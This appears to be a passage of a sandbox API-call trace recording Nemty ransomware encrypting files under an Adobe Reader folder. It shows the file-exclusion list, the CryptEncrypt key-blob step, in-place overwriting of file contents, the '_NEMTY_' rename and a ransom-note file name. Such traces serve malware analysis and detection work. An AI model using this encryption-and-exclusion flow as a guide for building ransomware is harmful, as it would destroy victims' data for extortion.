lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0190.381] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0190.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0190.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0190.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0190.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0190.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0190.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0190.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0190.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0190.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0190.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0190.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0190.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0190.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0190.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0190.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0190.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0190.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0190.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0190.382] Sleep (dwMilliseconds=0x5) [0190.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2521b290, dwHighDateTime=0x1d561e8)) [0190.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2521b290, dwHighDateTime=0x1d561e8)) [0190.397] GetLastError () returned 0x0 [0190.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.397] GetLastError () returned 0x0 [0190.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0190.397] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.398] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.398] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0190.398] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="r2VeobPlwQE8InGPDH0c8BdypCE2J/ays+dB0NU6uwTtBrOfL1aCsh7z2U66qUwt\r\nfo5wNBbW1TDO6tCfUS3ZCjiogFQ6fl89i4UIBqmmBGxOHoywt60r9sYhkSmfbV0p\r\ndrnVTIEML5lUzyBggEEPU/0JU8azu0alvwD0yiVL0fWcXvfjmgTb4vxO1Ccp+xcy\r\nYHLkHlsXfCyap1WAlzyM8QeWKsv8ry896nHHoZ5GYsBmrmQrk03QSguYRkB2w8gp\r\nYsu3RcN1Qp/iEotA4lw+hf/MPxOnR4prdQfj99ZIUq7ilnnybul4p22p4CgAaS7J\r\nnPzl9uF7aOlrp5Q17aLe0Q==\r\n", pcchString=0x653df5c) returned 1 [0190.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0190.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0190.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0190.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.398] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.398] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=362641) returned 1 [0190.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0190.399] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.399] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0190.408] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.408] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0190.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.408] SetFilePointer (in: hFile=0x320, lDistanceToMove=362641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x58891 [0190.408] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.415] CloseHandle (hObject=0x320) returned 1 [0190.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0190.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0190.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0190.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0190.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0190.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0190.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0190.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0190.415] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0190.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0190.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0190.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0190.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.416] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fb9c90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24fb9c90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24fb9c90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0190.416] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0190.416] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0190.416] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0190.416] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0190.416] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0190.416] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0190.416] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0190.416] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0190.416] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0190.416] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0190.416] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0190.417] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0190.417] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0190.417] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0190.417] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0190.417] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0190.417] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0190.417] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0190.417] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0190.417] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0190.417] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0190.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0190.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0190.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0190.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0190.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.418] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fb9c90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24fb9c90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24fb9c90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0190.418] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0190.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0190.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0190.418] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2=".") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="..") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="...") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="windows") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="rsa") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="NTDETECT.COM") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="ntldr") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="MSDOS.SYS") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="IO.SYS") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="boot.ini") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="boot.ini") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="ntuser.dat") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="desktop.ini") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="CONFIG.SYS") returned 1 [0190.418] lstrcmpiW (lpString1="Words.pdf", lpString2="RECYCLER") returned 1 [0190.419] lstrcmpiW (lpString1="Words.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.419] lstrcmpiW (lpString1="Words.pdf", lpString2="bootmgr") returned 1 [0190.419] lstrcmpiW (lpString1="Words.pdf", lpString2="programdata") returned 1 [0190.419] lstrcmpiW (lpString1="Words.pdf", lpString2="appdata") returned 1 [0190.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Words.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Words.pdf", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Words.pdf", lpUsedDefaultChar=0x0) returned 9 [0190.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Words.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Words.pdf", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Words.pdf", lpUsedDefaultChar=0x0) returned 9 [0190.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Words.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 